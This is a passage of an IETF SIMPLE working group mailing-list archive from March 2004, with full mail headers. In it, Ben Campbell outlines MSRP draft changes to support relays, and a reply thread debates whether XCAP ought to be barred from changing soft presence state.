Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8p6a-0002aD-00
	for simple@ietf.org; Wed, 31 Mar 2004 18:26:44 -0500
Received: from dynamicsoft.com (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i2VNQ9h19535
	for <simple@ietf.org>; Wed, 31 Mar 2004 17:26:09 -0600
Message-ID: <406B538C.3010408@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Simple WG <simple@ietf.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] MSRP update
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 17:26:04 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

The chairs have requested that we put MSRP on a "release early and 
often" track. That is, rather than waiting until I have all the planned 
updates completed, I will put out a revision for each significant update.

Therefore I will be submitting a revised MSRP base spec draft either 
this evening (Wednesday) or Thursday, followed by a series of revisions 
over the next few weeks.

This revision will include changes to MSRP URL handling and connection 
handling needed to allow relays to be used. As we discussed in Korea, it 
will not describe relays themselves; this will be handled in a separate 
draft. But there were a number of base specification changes needed to 
make it possible to integrate relays.

We are working from a number of assumptions about how relays will work, 
even though the MSRP relay draft is pending:

--Relays are session-stateless

--Relay chains are source routed, with the route negotiated in the SDP.

-- Transactions are hop-by-hop, and downstream transactions do not 
depend on upstream transactions.

Specific changes in this revision:

-- The answerer always opens the TCP connection to the offerer. The 
comedia like direction negotiation is removed.

--  Shared connections are allowed.

--  MSRP URLs identify a destination within a session, rather than the 
entire session itself. MSRP requests will now have a To field describing 
the destination, and a From field describing the source. The sdp 
negotiation allows each endpoint to contribute its URL.

-- To enable routing across relays, an SDP request can carry a list of 
URLs. We expect this to be used with relays to describe a route across 
relays. The base spec will not say how one would determine a list of 
more than one URL, but it does require an endpoint to be able to receive 
such a list and process it reasonably. Basically, if you receive a list, 
you put the entire list in To headers on SEND requests. This will work 
even if the receiver wants to contribute their own relays to the path, 
but that belongs in the relay spec, not the base.

There are still a number of outstanding items we discussed in Korea,that 
will be required to allow relay integration, but are not covered by this 
revision:

-- DSN handling and negotiation. Since relays will be able to originate 
DSNs, even endpoints that don't understand relays will need to be able 
to receive them.

-- Chunking

-- Using message bounderies instead of length fields for message 
framing, so you can abort a request without destroying framing for the 
connection.

-- Orit requested that we allow a mode where there are no transaction 
responses. She has agreed to document the motivation for this. I will 
hold any changes based on this request until after the work group has a 
chance to discuss that document.

-- a few outstanding, non-controversial items, such as allowing all 
standard MIME headers.

Watch this channel for revisions covering these items in the very near 
future.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 31 18:31:13 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA20928
	for <simple-archive@odin.ietf.org>; Wed, 31 Mar 2004 18:31:12 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8pAV-0007c9-A6
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 18:30:47 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2VNUl5W029270
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 18:30:47 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8pAU-0007c1-Bz
	for simple-web-archive@optimus.ietf.org; Wed, 31 Mar 2004 18:30:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA20914
	for <simple-web-archive@ietf.org>; Wed, 31 Mar 2004 18:30:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8pAR-0002m4-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 18:30:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8p9Y-0002iH-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 18:29:49 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8p8y-0002fv-00; Wed, 31 Mar 2004 18:29:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8p8n-0007Da-9f; Wed, 31 Mar 2004 18:29:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8p8S-0007D5-Ik
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 18:28:40 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA20805
	for <simple@ietf.org>; Wed, 31 Mar 2004 18:28:35 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8p8P-0002f8-00
	for simple@ietf.org; Wed, 31 Mar 2004 18:28:37 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8p7S-0002df-00
	for simple@ietf.org; Wed, 31 Mar 2004 18:27:39 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8p6a-0002aD-00
	for simple@ietf.org; Wed, 31 Mar 2004 18:26:44 -0500
Received: from dynamicsoft.com (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i2VNQ9h19535
	for <simple@ietf.org>; Wed, 31 Mar 2004 17:26:09 -0600
Message-ID: <406B538C.3010408@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Simple WG <simple@ietf.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] MSRP update
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 17:26:04 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

The chairs have requested that we put MSRP on a "release early and 
often" track. That is, rather than waiting until I have all the planned 
updates completed, I will put out a revision for each significant update.

Therefore I will be submitting a revised MSRP base spec draft either 
this evening (Wednesday) or Thursday, followed by a series of revisions 
over the next few weeks.

This revision will include changes to MSRP URL handling and connection 
handling needed to allow relays to be used. As we discussed in Korea, it 
will not describe relays themselves; this will be handled in a separate 
draft. But there were a number of base specification changes needed to 
make it possible to integrate relays.

We are working from a number of assumptions about how relays will work, 
even though the MSRP relay draft is pending:

--Relays are session-stateless

--Relay chains are source routed, with the route negotiated in the SDP.

-- Transactions are hop-by-hop, and downstream transactions do not 
depend on upstream transactions.

Specific changes in this revision:

-- The answerer always opens the TCP connection to the offerer. The 
comedia like direction negotiation is removed.

--  Shared connections are allowed.

--  MSRP URLs identify a destination within a session, rather than the 
entire session itself. MSRP requests will now have a To field describing 
the destination, and a From field describing the source. The sdp 
negotiation allows each endpoint to contribute its URL.

-- To enable routing across relays, an SDP request can carry a list of 
URLs. We expect this to be used with relays to describe a route across 
relays. The base spec will not say how one would determine a list of 
more than one URL, but it does require an endpoint to be able to receive 
such a list and process it reasonably. Basically, if you receive a list, 
you put the entire list in To headers on SEND requests. This will work 
even if the receiver wants to contribute their own relays to the path, 
but that belongs in the relay spec, not the base.

There are still a number of outstanding items we discussed in Korea,that 
will be required to allow relay integration, but are not covered by this 
revision:

-- DSN handling and negotiation. Since relays will be able to originate 
DSNs, even endpoints that don't understand relays will need to be able 
to receive them.

-- Chunking

-- Using message bounderies instead of length fields for message 
framing, so you can abort a request without destroying framing for the 
connection.

-- Orit requested that we allow a mode where there are no transaction 
responses. She has agreed to document the motivation for this. I will 
hold any changes based on this request until after the work group has a 
chance to discuss that document.

-- a few outstanding, non-controversial items, such as allowing all 
standard MIME headers.

Watch this channel for revisions covering these items in the very near 
future.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 31 19:52:55 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA23397
	for <simple-archive@ietf.org>; Wed, 31 Mar 2004 19:52:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qRz-0006lg-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 19:52:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8qRB-0006g9-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 19:52:06 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qQI-0006aU-00; Wed, 31 Mar 2004 19:51:11 -0500
Received: from optimus22.ietf.org ([132.151.6.22] helo=optimus.ietf.org)
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1B8qQJ-00079P-Rj; Wed, 31 Mar 2004 19:51:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qQA-0008WJ-3q; Wed, 31 Mar 2004 19:51:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qPs-0008VV-Dg
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 19:50:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA23236
	for <simple@ietf.org>; Wed, 31 Mar 2004 19:50:42 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qPq-0006WF-00
	for simple@ietf.org; Wed, 31 Mar 2004 19:50:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8qOz-0006SD-00
	for simple@ietf.org; Wed, 31 Mar 2004 19:49:49 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qOf-0006Pp-00
	for simple@ietf.org; Wed, 31 Mar 2004 19:49:29 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i310nKF15137;
	Thu, 1 Apr 2004 03:49:20 +0300 (EET DST)
X-Scanned: Thu, 1 Apr 2004 03:49:11 +0300 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i310nBPv013387;
	Thu, 1 Apr 2004 03:49:11 +0300
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks002.ntc.nokia.com 00toLxxL; Thu, 01 Apr 2004 03:49:10 EEST
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i310nAF27588;
	Thu, 1 Apr 2004 03:49:10 +0300 (EET DST)
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 1 Apr 2004 03:49:07 +0300
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 1 Apr 2004 03:49:07 +0300
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa  s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB70179786E@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa  s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQMIbiLNNatJBD/RkqKcHy01K6EtgLYRaIg
To: <aki.niemi@nokia.com>, <george.foti@ericsson.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 01 Apr 2004 00:49:07.0356 (UTC) FILETIME=[234C15C0:01C41783]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 1 Apr 2004 03:49:06 +0300
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable



> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Niemi Aki (Nokia-M/Espoo)
> Sent: 17.March.2004 15:09
> To: ext George Foti (QA/EMC)
> Cc: simple@ietf.org
> Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft
> (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
>=20
>=20
> Inline.
>=20
> ext George Foti (QA/EMC) wrote:
> > Comments inline Chris. Rgds/gf
> >=20
> >> -----Original Message----- From: Chris Boulton
> >> [mailto:cboulton@ubiquity.com] Sent: Wednesday, March 17, 2004 3:44
> >> AM To: George Foti (QA/EMC); Jonathan Rosenberg Cc:
> >> Markus.Isomaki@nokia.com; simple@ietf.org Subject: RE: [Simple] RE:
> >> Comments on PIDF-Manipulation Usage-00draft (wa s RE: Comment s on
> >> draft-isomaki-simple-xcap-publish-usage-00)
> >>=20
> >>=20
> >> Hi George, I'm getting a little confused by this thread.  I don't
> >> see any benefit of restricting what 'Hard State' data can be set.
> >> The use of XCAP and the use of PUBLISH have clearly defined roles.
> >> If a presence server requires 'Hard state', it goes away and grabs
> >> the latest copy from the XCAP repository.  I can see your point
> >> that rogue clients might use XCAP in a negative manner (e.g. for
> >> changing soft state), but this can be true of many implementations
> >> that bend rules.  As long as it is strongly defined that XCAP is
> >> used for Hard state and PUBLISH is used for soft state, I see no
> >> real issue.
> >=20
> >=20
> > Yes, thats my concern. On the other hand there are *no=20
> rules* to bend
> > in this case. It is currently wide open to manipulate=20
> everything. The
> > language in the draft is very weak in that regard. Changing the
> > schema is one way to put in rules. But I am opened to the=20
> alternative
> > of strengthening the language in an updated version of the draft and
> > to clearly disallow the usage of XCAP for changing soft states.
>=20
> You make it sound like it was currently allowed. Well, it=20
> isn't, and in=20
> addition, it's not even possible. PUBLISH carries soft event=20
> state. The=20
> only way to manipulate that state is to use PUBLISH, and have=20
> possession=20
> of the corresponding publication etag.
>=20
> I'm not aware of any text that suggests that the soft event state=20
> manipulated with PUBLISH somehow also finds its way into the=20
> XCAP tree.

George's point is that there is no text forbidding it, so in theory, it =
could find its way. But the question is: Do we really need to explicitly =
forbit such thing from happening by placing a MUST NOT text?

/Hisham


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 31 19:53:28 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA23446
	for <simple-archive@odin.ietf.org>; Wed, 31 Mar 2004 19:53:28 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qS3-0000Fm-L5
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 19:53:00 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i310qx61000970
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 19:52:59 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qS3-0000FY-FM
	for simple-web-archive@optimus.ietf.org; Wed, 31 Mar 2004 19:52:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA23427
	for <simple-web-archive@ietf.org>; Wed, 31 Mar 2004 19:52:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qS1-0006m2-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 19:52:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8qRC-0006gO-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 19:52:07 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qQI-0006aU-00; Wed, 31 Mar 2004 19:51:11 -0500
Received: from optimus22.ietf.org ([132.151.6.22] helo=optimus.ietf.org)
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1B8qQJ-00079P-Rj; Wed, 31 Mar 2004 19:51:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qQA-0008WJ-3q; Wed, 31 Mar 2004 19:51:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qPs-0008VV-Dg
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 19:50:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA23236
	for <simple@ietf.org>; Wed, 31 Mar 2004 19:50:42 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qPq-0006WF-00
	for simple@ietf.org; Wed, 31 Mar 2004 19:50:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8qOz-0006SD-00
	for simple@ietf.org; Wed, 31 Mar 2004 19:49:49 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qOf-0006Pp-00
	for simple@ietf.org; Wed, 31 Mar 2004 19:49:29 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i310nKF15137;
	Thu, 1 Apr 2004 03:49:20 +0300 (EET DST)
X-Scanned: Thu, 1 Apr 2004 03:49:11 +0300 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i310nBPv013387;
	Thu, 1 Apr 2004 03:49:11 +0300
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks002.ntc.nokia.com 00toLxxL; Thu, 01 Apr 2004 03:49:10 EEST
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i310nAF27588;
	Thu, 1 Apr 2004 03:49:10 +0300 (EET DST)
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 1 Apr 2004 03:49:07 +0300
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 1 Apr 2004 03:49:07 +0300
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa  s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB70179786E@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa  s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQMIbiLNNatJBD/RkqKcHy01K6EtgLYRaIg
To: <aki.niemi@nokia.com>, <george.foti@ericsson.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 01 Apr 2004 00:49:07.0356 (UTC) FILETIME=[234C15C0:01C41783]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 1 Apr 2004 03:49:06 +0300
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable



> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Niemi Aki (Nokia-M/Espoo)
> Sent: 17.March.2004 15:09
> To: ext George Foti (QA/EMC)
> Cc: simple@ietf.org
> Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft
> (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
>=20
>=20
> Inline.
>=20
> ext George Foti (QA/EMC) wrote:
> > Comments inline Chris. Rgds/gf
> >=20
> >> -----Original Message----- From: Chris Boulton
> >> [mailto:cboulton@ubiquity.com] Sent: Wednesday, March 17, 2004 3:44
> >> AM To: George Foti (QA/EMC); Jonathan Rosenberg Cc:
> >> Markus.Isomaki@nokia.com; simple@ietf.org Subject: RE: [Simple] RE:
> >> Comments on PIDF-Manipulation Usage-00draft (wa s RE: Comment s on
> >> draft-isomaki-simple-xcap-publish-usage-00)
> >>=20
> >>=20
> >> Hi George, I'm getting a little confused by this thread.  I don't
> >> see any benefit of restricting what 'Hard State' data can be set.
> >> The use of XCAP and the use of PUBLISH have clearly defined roles.
> >> If a presence server requires 'Hard state', it goes away and grabs
> >> the latest copy from the XCAP repository.  I can see your point
> >> that rogue clients might use XCAP in a negative manner (e.g. for
> >> changing soft state), but this can be true of many implementations
> >> that bend rules.  As long as it is strongly defined that XCAP is
> >> used for Hard state and PUBLISH is used for soft state, I see no
> >> real issue.
> >=20
> >=20
> > Yes, thats my concern. On the other hand there are *no=20
> rules* to bend
> > in this case. It is currently wide open to manipulate=20
> everything. The
> > language in the draft is very weak in that regard. Changing the
> > schema is one way to put in rules. But I am opened to the=20
> alternative
> > of strengthening the language in an updated version of the draft and
> > to clearly disallow the usage of XCAP for changing soft states.
>=20
> You make it sound like it was currently allowed. Well, it=20
> isn't, and in=20
> addition, it's not even possible. PUBLISH carries soft event=20
> state. The=20
> only way to manipulate that state is to use PUBLISH, and have=20
> possession=20
> of the corresponding publication etag.
>=20
> I'm not aware of any text that suggests that the soft event state=20
> manipulated with PUBLISH somehow also finds its way into the=20
> XCAP tree.

George's point is that there is no text forbidding it, so in theory, it =
could find its way. But the question is: Do we really need to explicitly =
forbit such thing from happening by placing a MUST NOT text?

/Hisham


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 31 20:11:41 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24193
	for <simple-archive@ietf.org>; Wed, 31 Mar 2004 20:11:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qkA-0000Fr-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 20:11:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8qjC-0000CQ-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 20:10:43 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qid-000082-00; Wed, 31 Mar 2004 20:10:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qiX-00027g-5V; Wed, 31 Mar 2004 20:10:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qiK-00023B-QK
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 20:09:49 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24119
	for <simple@ietf.org>; Wed, 31 Mar 2004 20:09:46 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qiI-000075-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:09:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8qhO-00004C-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:08:51 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qgt-000012-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:08:20 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i3117hF29922;
	Thu, 1 Apr 2004 04:07:43 +0300 (EET DST)
X-Scanned: Thu, 1 Apr 2004 04:06:47 +0300 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i3116l8U021362;
	Thu, 1 Apr 2004 04:06:47 +0300
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00UTzX2U; Thu, 01 Apr 2004 04:06:45 EEST
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
